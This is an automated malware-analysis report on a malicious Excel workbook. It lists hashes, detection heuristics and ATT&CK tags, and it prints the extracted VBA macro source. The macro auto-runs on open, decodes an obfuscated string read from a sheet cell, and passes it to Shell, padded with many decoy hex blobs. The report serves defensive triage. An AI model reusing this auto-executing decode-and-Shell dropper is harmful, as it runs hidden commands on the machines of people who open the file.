Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b42a0bb0d77abef9…

MALICIOUS

Office (OLE)

859.5 KB Created: 2018-03-15 13:17:31 Authoring application: Microsoft Excel First seen: 2018-03-24
MD5: 0e3b77b4067a92e5f72ae1553320928c SHA-1: d503c0af3efc3371da2c3248ce8f00d20270950c SHA-256: b42a0bb0d77abef97274dea9c08fe38661b224dc04a2eee2b650e6fb5f80a249
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

This Excel file contains both XLM and VBA macros, with critical heuristics indicating potential Shell calls and auto-execution. The Workbook_Open macro is designed to execute obfuscated code, which is likely responsible for downloading and executing a secondary payload. The presence of these macros and the associated heuristics strongly suggest a malicious intent, likely delivered as a spearphishing attachment.

Heuristics 8

  • ClamAV: Xls.Malware.Cwsp-6735643-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Cwsp-6735643-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (FY_VK)
    GoTo x3
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
        Document_Open
End Sub
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
Dim QO_STS As String
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 232 bytes
SHA-256: 46a9dc0db2382cad20a22c8ebc2c5a178faf43205052f6bf117a057be3ec0639
Preview script
First 1,000 lines of the extracted script
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  netshee
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20149 bytes
SHA-256: 8c16611332b0fa9812134d48680090d022f20aa554f84f028fa95dda55e0f781
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 74 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit

Sub Workbook_Open()
Dim QO_STS As String
QO_STS = "7988793C7979AD5479796C79467979A6AA539979797279587979B1B7663E79797979B2A879943A7979777949767A79B07979796F696879B9987999798F79797982799167A97950537960797379799C433B799E79794B5A794A797991A47989947079827579557941"
Dim L_HLP As String
L_HLP = "797FB87979798E5C94786A7979706E987954796E9B837979797979797965435F79797979794F7979563FA079864E7979A993957979A0797963517979799E799C794A79794B554259798EDE797973797979A46D799DAD87797979B35199799C3E9175794A798D8A76"
Dim HXX_ZQI As String
HXX_ZQI = "79977969B17D79797979A9796D796C486580A1797979457B7979794A79635179B5507979A879FA7F797979AC5E799B3C7947797BA279797979797961B77979797979797979795F9B76878949A39979797943797974794C79B37979577579A0AEA6517979937EAA79"
Dim G_CVA As String
G_CVA = "6684797986797379797979B779AF797C7979797D3AAC797982795E797979799479793B79799C9879863C79AE79779D797979797965798488719D96776379AC5D9279798098697979AA4D5F4845AC7950676D7979907984827B64797A4979793C79797979755D7979"
Dim GY_YE As String
GY_YE = "B1A1795F7A667979617979799F3B7979A03F6D6E9F7979545D7C5F797964794A797979795D3B7943A079798B74A0797969797079B87979793B79416F55794479795C6E797C3E6F657979797979797C797979795AB27046795A5C3D7979857979A47979797E7D6C79"
Dim IUT_LMD As String
IUT_LMD = "8D79504F79535B79AE799189B191A04FB679593A799279797947B74C7979849B79A05F7979799A43796B997979797D4C9C7983B35D6BB479797F677979497EB27C79794B6C795979A45059477979769F79A57979797791796479AF79A7797979B679796B7979A949"
Dim J_CL As String
J_CL = "464CA73C794379796A99A879AB79A8604179A89E7979865A4CB0797979794A837C796B7FB76279797977ADB85A447989457957458E9D798779B0A4598879885F797979627979627979A57979A579927979AA6671A679B96A729B7779B3795E93799398609D79B18F"
Dim W_MTU As String
W_MTU = "8D9A79797944797979797979877E7979B1797963B37982904B956C63797979794579797490797979809A884F79B6798B797964795F719C79798F797976795CA373795179A6AA799C796AA8794179797977A08144795E79945C7998716D59A09A7779799F79797A79"
Dim F_PK As String
F_PK = "795F7979B479797979957952794E6F7979794C7969797947795D5A798A7D7941747979797979799C798F9E795F6D7979644568437979657979B67979528F79794FB56562796779797384797993A67953AF796B93B6797979B1797979746581AE7948B63B60B87979"
Dim SXT_A As String
SXT_A = "79AC847979767979799F7979918BA763784C6B795977B47997655188948F79799B79793E797994A77949535C5E79798F7979AD798D474C7979799C90797989797B5E796879797979A5797540A0793F79799E7948B9796379637979447F7F92796879716A4BB67987"
Dim II_Q As String
II_Q = "79A57987797979799679799679797F7979793F7979965F6EA279B59779ADAF98A74D6B7968B07F7979A679688179796E92B16BAA7948795375793F7979799F797FB46BB25A7979B24B797979717379797988797D79AB3F79797979646079414F7979AE4E4E797998"
Dim NE_O As String
NE_O = "3C9179793B866A7979A2799242667999797973797941795C8A799A7979794E7979A9797979798848957A3F79AC79798184797079B9B16B894F797979794D93628E5279B879B879796479793C4D79797952AB79845A45517797795A7A79788179798494796679A370"
Dim MC_RS As String
MC_RS = "79878F79873B4979797979796D4679955B49989F79797D795F798F7979894179797964794A794B8A7079799D7950874F79947965A5A479796271797979A179795D9A9079794B78864E799D79815F79427979797979A1867979799191B35946797979794E79557950"
Dim QDV_FRU As String
QDV_FRU = "794045793D79794F797979517979443E4B637979796B7E797983794B8D794B7978B1797FB179794E797B799A5AA58079793CA7AE79937979B4797979799379588A9D4C7E7988B5AE79AA933D7B5D797957795754797952657940B979BD61A5627979627981795279"
Dim NSJ_DNT As String
NSJ_DNT = "4379797EB6797942756A3A707A7979533D8279796979797979797979B6749B793B7979AE8479793D79799C616E79A57949797979997979A77966793A79796F7979A9797979B07979589E79794D9B3EA6959C97AB79799F7943934F597979A0798679A5607BA54464"
Dim EVF_DOI As String
EVF_DOI = "7B9B6079A779795979A69D204379447956A99F797988798FB83B6E5B79A1798C9CAD497979667979603C757979799A84798979A37979647971A457AB85AA967982797953797D9F797985A05B797979794179797979907979AC797979477979B8AD79909879797BA3"
Dim H_GRT As String
H_GRT = "79B6797979794BB079795D7079797779798F794B79A55B79B0797979485BAA7979A0795D798B79795579897979794F7977697979795779795265A37979AF8379578D79796F9779794579798F7979797974797B7E8179797972797979797C8879A6A379427979839F"
Dim YT_B As String
YT_B = "B09879797979AB3E799579595979796D9F663C6E4D8C49B5A69679A99B796379797879A8497965796577499C798379457A7992A58179795E88408290413B79796B3E9079745B5D793B4D43797D79795C797968796A797573797959437979796379936B7979797959"
Dim P_HI As String
P_HI = "7979A46E797979A96079727979AD79575F793B53796766797579B579697979495E9C8D40794779B779A5567990797951796E57AC79774279AB79617979797479795D5A79A45179B9794AB779795079799340797950794779799079AF5DAE7979798FA5798E7979836679567979A3577979AA795579437996B65368795079437979A15A81799FAE93797C79AD79797979796B3DF9517979485E75A58D6C78795F5FB383797979B1968F588BA5796E7B7978793F6D79897979797A7379A5"

    Document_Open
End Sub
Public Sub HE_ZGG()
    Dim NIC_DEX As String
NIC_DEX = "7979A57979637942859D79AF79799F4063AE79B6796663795879857979797EAD99796179794E50797951B175796D79795562AE79A57C797993938079ACB73C793D7777797979A6B9447979797979AA797979628479797979607979795F5D494E7972797973B076797979797A5E797979B28E797976797"
Dim T_YV As String
T_YV = "979945E797979AC79794B967979797979797979B03B79797960797997797955799F55524566799C53794DA2505AAD79A2633A7D7979969368797979796DAA9A79925FA279794A7979797979798C6D797979A4427979699D637982B679429A7988797979726C4F4879A5795A794549B83A796F79567979"
Dim YN_U As String
YN_U = "8C9F7979B985847996509F657979A279A595AD908249B2577979B6799A65796B798E79856679845A5679797979ADA15C797989797D7979977979B15E6A776D804E72797479796270658579B2794342A6779B817979414A797979B579797979AC79797479797952B179828B79797945797979797947627"
Dim MNK_F As String
MNK_F = "979AA796C7946404498798F7942B67951796A526679794B1B79794C5D695379797E7A7685798779AB7979AD796EB74A4B79927979795B79A579577979B16079796F7985799B79A679667979675D795A3C4B797944795C86794579797779A47379A77C6B737979797976C4627755A079799FB879799592"
Dim T_YC As String
T_YC = "63797979798BB86B5079A579AE79799A40795C79795D797961797976554B7942795979487979797979799F79793EB26279797979A179799E7979648F8A797979547B7789797B797979796F757979AD4D798D9F9B815B79936B79799A7A7979A1797979749D79797D797976987963A047797B798A5E797"
Dim D_XN As String
D_XN = "95999A69556857987797979AA7979737979AF5C79A879794197797979A97D7F3C797979797979507979797979797AB67954793B799F74798D799C7989B1947965796298793C7964797979796089797967A679797CAE79A3799D833B7962757973627979525879525F796E798C79A63D44797979797981"
Dim GV_NA As String
GV_NA = "7959799B8F797979AE799B79797979497979A9A57A545144797F7979A29379AD79797993797999AC7B79797978A77B796579876D9079B03F799097AC7979468779795879796F8C4B707964797961EE3E7979794579573E9A79A05F7979798579898F7A7998767993797979B97979A83F448E7C545B537"
Dim T_X As String
T_X = "9727979798381799979797479B0799279798CA33A6D798BB879B799846A796F7942ABAC8A794C49634D79797979798979AD7997795B72894A79795FA7A179793F79A78379B8797D7A7957797959689D79B9A879795B9C7979B4797979795B405079797979798579797945B179447941A9797779617979"
Dim K_I As String
K_I = "797193797A79875F7979618779797979A89CA979793C7955799A797979796679AE6497446179795EB47979507979B152794D79506EA0795F79796284B38279796B9979A2B474795279795D79A679798B5DA554B97279790579B97979793A793D79797679497979827998797D7979627960486874B6795"
Dim N_U As String
N_U = "97979794C79797979AD79A04E797197847979796679797979799279B69657796C4279708F795E79797F79AA4C7B793C597779B568A343797964797D627979A5B179793B4179A879797979798579797979965979AC3E7979798F799C79887D6E796AB6793B52AD5779A6796C79B779799B79B2793F795F"
Dim UUG_CW As String
UUG_CW = "7988B4AF79B1797979798CA96E79797E79AD795779584979799C797994798D9179797764A7797964547979798F79A06E7F419D69A47970797979799A995679794B79797079646F797F79796479997979488979796E8D4079793E79B279797979795869795579A9797978AE7979A5794779AB79AB946A5"
Dim N_V As String
N_V = "4926B567954795EA9737979796A79B84D797993795179B849476379808379797979AEDA8C56A482533F797979AA55499779793AA13C987946797979795F76A957796A7979B77F4A794C967962A07979717944B711AB9E798096B37975799BA07979796B79AFB679793B4479927179736C799368837979"
Dim PXA_X As String
PXA_X = "B45B98AC6D797B99793E793F89793B79799C799C3D7C79797968AEA979A4597B5B8E79A280793F79796C797979798A79A247525779797979797979797968798AA579799754796B49797979799A79796E427060B8A26972797979796D79987955793B45797479B4847979768440AE794F795F426379697"
Dim ROH_JT As String
ROH_JT = "95E58826DAFA5513C6C797979797B7984796EB79A79797979795886798FB16879A47979793E79797943A172798DA4889179B779796F62A67979798679A779A579577179A779798E797979838F79897979777979B0796F79A171496C79429865797979557979B567799D41796F5D9E79796A80AB627F3C"
Dim F_UQH As String
F_UQH = "3F3F7979AF797970798779476D475579A35E4C79797E795C7979756879ABA3537979799A79A0A4A77979887979A879874FAFA8B579799A7979A0427979847954A6797979AAA46355A8647D9AAA7979427895795F543F847979799C794D98746D57AC79577979447E998D79569E8F79817979A9805F79A"
Dim OBI_CTH As String
OBI_CTH = "E6379A4A3947942678D517779799F797998676F795D547979AA7979798779799A4A79B77979794E713C794479797179447998798079478179797995B7A3B5797B8E79837979795379799849797972869079509CA63D9279796779797979A579B479B65C79793E6679797952445C79795E79797979503E"
Dim TPM_XX As String
TPM_XX = "793B7969799C79527F79827979984C70B0B4A96E795D9879589B5A7979794679793C797979797979B5AB5291B6AF79AB62797964B679794A797C79857979797981A9497979797975799979A5404379A75E5A79436495AC993D79797D72794A2E794946A05679737979895779754479798C6179799A797"
Dim HI_VL As String
HI_VL = "97979793A793C60885979B3797941419879AA79458F7979957979B7793A665C4A797979737963797979794184596E9F7D79794A7989793A567979877986798BAE798DB67979797D539379A683A6798A7BA37979B07979798D797E79797979794C7979795B4CB66F799D796779797979795779795C7979"
Dim VQ_AL As String
VQ_AL = "958D7979B0793C5679797994798E7B81798F7A79793E9BB1AC7981659D8643B38D77797979A2409A798079A5793E798E79538679457990794A717979798F796D407979797964897979835F79797979796D7979827D8379796A9D7941797979797986796279793B70796A79AD86797979665C797979AEA5795D79794779797D79A57979529E7E79"

   Dim FY_VK As String
   Dim SZE_EV As String
   Dim YJ_ETX As Long
    Dim X_QM As String
    X_QM = ThisWorkbook.Sheets("netsheet").Range("M275").Value
    GoTo x2
x1:
Dim MG_KGR As String
MG_KGR = "5842794079763C93797479B379797979798A4179797E6EB27956447979AD79A7A1797D79717979AC7779987979797979797943567A797993767D59797990797946629679799EB571B5A47954793CA2753A79B1798A6143A97979B7A6B4797979B37991667973A6797979A98179A67A7"
Dim TSJ_YP As String
TSJ_YP = "97979A7886A793B8C6C79794C4979797979AE4A485079455FA59C79619D797779795E5079826B793F7979AA94B96279797979797979B0797C448A7979457974799479797952927979454EA57979797DA24A79793FAB474879938A7779798579796F795F628D79797F797944B7799E46"
Dim DP_U As String
DP_U = "707979516F9D867979B079557979795F79446679544F9141B96779ACAE7979797979A8793A5B7972947C7964417979AEA8AD9E79795B8BB279417979B58F79427C7980577979434579794E858F607979796EA39579798B795A798579793F7979794579797979A392734AA176677C796"
Dim EXA_NPF As String
EXA_NPF = "97DB65A6A798653797979794B79795F79A679A75540797C793A3C7979664E79795256797A79B23F7979797979799179797979797962A473B06A79798179797979797979797979796451798279A36679B47D6D428D798A41A781934379A2743A7999793F79793A3B794A79797B9E9A45"
Dim REY_U As String
REY_U = "AE79797979799D7973797979813E83AE7979A06D4079797950795279829779733A797E3C62B76A7972539B7979787979B9AB48797979797979795B5D728B79483E796A7979566FA6797979A68679857979796279B16A9A797D794E794A7979798A798F7961438887799476A57991AA9"
Dim R_INM As String
R_INM = "F69A27986919261797979AA3A797979B63B7979B859B7638B3F797979AA79796C79797979A767799A89797979B2796179A8798B798079408DA9537979887977794F797979A37958797986ACB6797979793C79AB83798E79547979A28C7B5279799D799691799F937979927C79796A79"
Dim YJD_YPI As String
YJD_YPI = "89548679798F5D7EB079B3796479B8796E7979867962B052B841844C987C797952717969797AA579799A79684EA67947797F8D833D795DAB797955799E6B7057717981793E7979795EA0797979A379793E797974794F79795B795EAB7979637979B15F79437983795F7979967979A87"
Dim AE_KMF As String
AE_KMF = "9959A7973797979807979B279796779597979AE7979797979B279AF429088794F5B7979A2794A79794379AC7979797979B646799FFF9A444A79A9787979797968799F793C7972797E4B797179ABB9799C7975A39398797979A352A37979AC476B87B4565567797956798A7979793E58"
Dim OL_IU As String
OL_IU = "797441797F46655D6D7979B679797579837A6B91B381799879769F7965799F79647979B9795F5B91795EB39A837B797979467979797979B27979797942467950797979797E7955493A795C4F797F797945987964796C9E79AD794B8F95797952B784797955797965AB79796F799C79A"
Dim T_O As String
T_O = "A7958797968799F8579A5927991777943797979A379A0797979A569794A8E7979777371797986805A7268947948797979797979A4795C79B6527979565F943E697DB03EB2597979815CA56879914679794780AB795079509EA7794D8C6479796465A379794779797979826079645F46"
Dim HVS_QVB As String
HVS_QVB = "7952AC514E79A56679794D7993797979A98AB765796496799FA1B468795B7481795C7479797979767979797957798979797979A3797979527698807979A479797B797979A5A1978EA9799679B879B779875795B8796B56B87979795A7979A1794864579B3BA3796E7C617979B289865"
Dim VAU_IVY As String
VAU_IVY = "67994769A94A4A17979797979697979AA799A795579798B79797948B579A779467979799A79B279797997797941A879799779A27979A652794C7979B979B16A797979799F517999797979797979727987499F7979799D7979797979B53E79A57944793C7B5B8079436379799C797F79"
Dim Q_NKN As String
Q_NKN = "79799AA1797E4179A84D79797979497979845779796F846579AA79797879714C8979747979B779793C7968B2797AAF5379685179795293796F799479757979796C7993798C687979793C7956793F695F79B494597979797979A7797F79798F798C79B65579AC79A742794F797979796"
Dim PP_H As String
PP_H = "479794B7979499F79B27979899E797979797979AD79435B429579B94479638D797F54A6787E5D79796679797942AE79A37979795FB1B4A1436944799461888E7944846179A2796F79815CA071B47979447B949F79705A79797974797D79A48E7979797987473A79798E4D6979799979"
Dim FRX_C As String
FRX_C = "5279797979796E79687979AF794B79793F796D94AC3E797C887979A965797979A57979515263794F7979A2793C7979B8AD7979ACB0797C7991907779A7B879795379795383794479975C797979533F79797965794D794E79797989799E7979799679796E795F797952797979B45DB6B"
Dim XQ_QQK As String
XQ_QQK = "679427979796F4E79597179797967677997B2795279797A79B17980538279796579790F79797979797D79799D797279B279793E79797279797F79797979929E795A79A4797998B37979797879B379797979883B79A579797979784A79799C8779796F795FA1793C5979795994796582"
Dim SO_FV As String
SO_FV = "93849079586C7979797974797979797A797979AB7962797EA3794C5E79B8464D796E9A4579797979686379898E5A797979797A795C798C799D79AC79B77960797979798A48797979794E79808A797975797978889F406158667E796362A98F843C90796C3D3E5D79977979B05B3A799"
Dim CSK_KW As String
CSK_KW = "78E79677C795D796379898C797992798779797954A241A1AC79447E797979B56142796C79907B96797972797996B479A779793F79625455B079817944997979646A797999799E9879798369AFA64F68707961645BAF79799F517979797979AB9079796579404779768EAE7979794379"
Dim EFR_D As String
EFR_D = "53A06D727979794DA182AE799E79737979797969798C79793A793AB5AAB2797993B07379795479AC79799AB279B1414B79A679AB71A579794079794D79797979B2D8734B79946E793D79B07998A579A4794580A95C458E79799F799979799D79A56379A27979977679A1798C6290895"
Dim IZW_X As String
IZW_X = "3796E794E9079849C8A577979794F7979AC6E797979795D796CB5799B797949797F6A79AC6B91797958AFA57979A1798B9D79795B797979877979794E7979483C7979975679559A79AC56B5924D798B79797979797AA47979AE79796F797979797954798179797979507979AF795261797979795A5079A779B07979A1797679"

    Shell (FY_VK)
    GoTo x3
x3:
    Exit Sub
x2:

   For YJ_ETX = 1 To Len(X_QM) Step 2
        SZE_EV = Chr("&H" & Mid(X_QM, YJ_ETX, 2))
        FY_VK = FY_VK & Chr(Asc(SZE_EV) - 58)
   Next
   GoTo x1
End Sub
Public Sub Document_Open()
Dim RFK_D As String
RFK_D = "7A799779797F674879A77969519679608479797940793C793D799246798843797C60799F6D797942653A938079847979797979797979799579798A793B7958798F796F7D7950798379797979795D79799B79B6567975794487797B594199797979454E8D7979437990794A79799779"
Dim AN_S As String
AN_S = "4B7979ABB4507979797979417979B479795279A8B145ADB37979649D9179577947A1B57993B07954796C4C6D79795F79AD79B4497962796879796379769979A5B67E7979795B5DB5797E7979797979649A79A478794A9A797984B07972B46B8A79798C7979797979797955769B7586"
Dim YJT_E As String
YJT_E = "7992794B4097B55C79936B80AB79A3A2797942687979797994795B7E7EA24863795C8C787973A56A3C799C79AC5864AA79B4787E7961797979947996795C56B77179926347A17979797979797979A97979797D9B79A77968794A8C79887A7979795179A6B379797941897979799E43"
Dim V_M As String
V_M = "793B8B7273794979B3795F797979748F9879A8797B9077797979573FA579798279867985794BB3666C798E5440797979867972798662B9797979517979AEACB6799D5D79A04D71797979793C5C7979795D7979AA79797979798A4D797998795579747979797379793B797979797957"
Dim IK_ZON As String
IK_ZON = "5A8F79794663A1795AAD795D79796B79796479798E79B93C7979797B79B2797969793C7E794B764A795AB0AF793B79EC79796F797955767963AD627979B384667979B87999797D5AA84379417979737965797948827979A979794DB37965833F6B467957A8547979796C815C79AD97"
Dim BJW_UJ As String
BJW_UJ = "8A8779A57979455F797279797B79797D3B797982AC79A77079797962B979567994A3797779607979797979798F3E5A77794E798E6E7A3F79B1797995797979A6AE9F79799DB447797D797940785E9879794179794E79797966A779AA79794A79B279969E85799E797979B142797279"
Dim O_NGX As String
O_NGX = "795D793D799A79796E8E79B979408279657997793C757991858285797979726F5C797979A47979796A7979797979797979A0798D79B9798879934E3E7C795579964675AB89977979A8447979A09C79497979937985765550B7A6798B797979797971A8B9797979A9AF43798A797979"
Dim IP_GS As String
IP_GS = "B47983A07995796E6D8173A97956AB7979793D7993795B95597B796DA3A8797979797979B7793D7572B179798C3D8C4BACA679575A796145A753543B7979797980795F467946A879584079796E797979918D5496795EA379799EB53BAB79793B48468B663E799A51823C79B7787364"
Dim JNE_AAK As String
JNE_AAK = "8259AC68796A4B797979799179797989797960798C947F79797979848D746C797979667979B679AA7970795EB08E7E79AD4C8279A459A27979797979733EA779797979639F797E793B5A4698868F797A79A4B0795A8879A87979806C859E7979B879B47979446088797979B879B49D"
Dim JV_EPD As String
JV_EPD = "79B58FB479A44C7979797979967979797979B095914A998A7980AB56795B506079A97948447979ADA268554F7979B660487979793D42A5A579637A9879797979B7797979B679793D79637984797979844779966E5C793E9E5279B4B4AC99B0703E56797A9BB879793A4E7BB07995AD"
Dim M_VPE As String
M_VPE = "7979797982799479797989B4797979B84E79744479ACB5805C797979A7795B7979796779798979797979AEB279B279797979947977A4799E72406079614F67797979808A79599A79877979796C8479797997796385529A61AB83B96379799D79796B7948AD9C798F99797979798B5C"
Dim Q_MPP As String
Q_MPP = "7942797968799B79504E5D7279797979528679B97979797977B67979AF79798E79797965793D79797986796C605397797977798D7979797D797979AD7979AB79794F795479794F795579794D79795E59797972797079437979A8694D7E79797979797D3EA5797979A8796069567979"
Dim C_T As String
C_T = "8D79A2799D52456D798CB13C8976793D7943795A79A798796BB2965B799D8C6E81793EA87C796E64797279795879A96C625C954CB27979A767799B79795D3A7D7998718B7961799262B5A87979426379B0427979798A797BB68583A748797979794A79799B6D775A795E79987C7979"
Dim LHS_G As String
LHS_G = "795E547979584779497F797953797B797979685C4F793C795366797973A9A07957B279798E793D95795590796FA380A657797F799D79497F79793E79406645A75F49799F79AD8E7979799479B88AA07979668963B6B089A3B648A3795C8E794A7960A779797E797979AD4F79A8798E"
Dim MVJ_XU As String
MVJ_XU = "7979A0A57D797979798E9F797979B87979797A7C3F795695797979798E797979B261B46D7979797979807D93795C4B79666B797D4C7982834A795B797979793FB9793E797F79795984793B579F796261797979A06B6B79447979797879B68E44B04760797C79797979AA49B77979B9"
Dim YJQ_DVU As String
YJQ_DVU = "55799C53B37979795A797996794D79793B7A7B654C79966DB479793E798279797979797974796F9779797979944D9CA4794E7978798A7D57796267925579825D5179795B79B745799479A279A05B5C6F79B9794079797995423E7979797D9B798379626D795C79A7797979457079799E7954AD4B795C3C7979B65879793EB479929CB38579797A6479797979496779797979406B4F66B3885869797997797968917979A86C7956793F4B8879"

    HE_ZGG
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.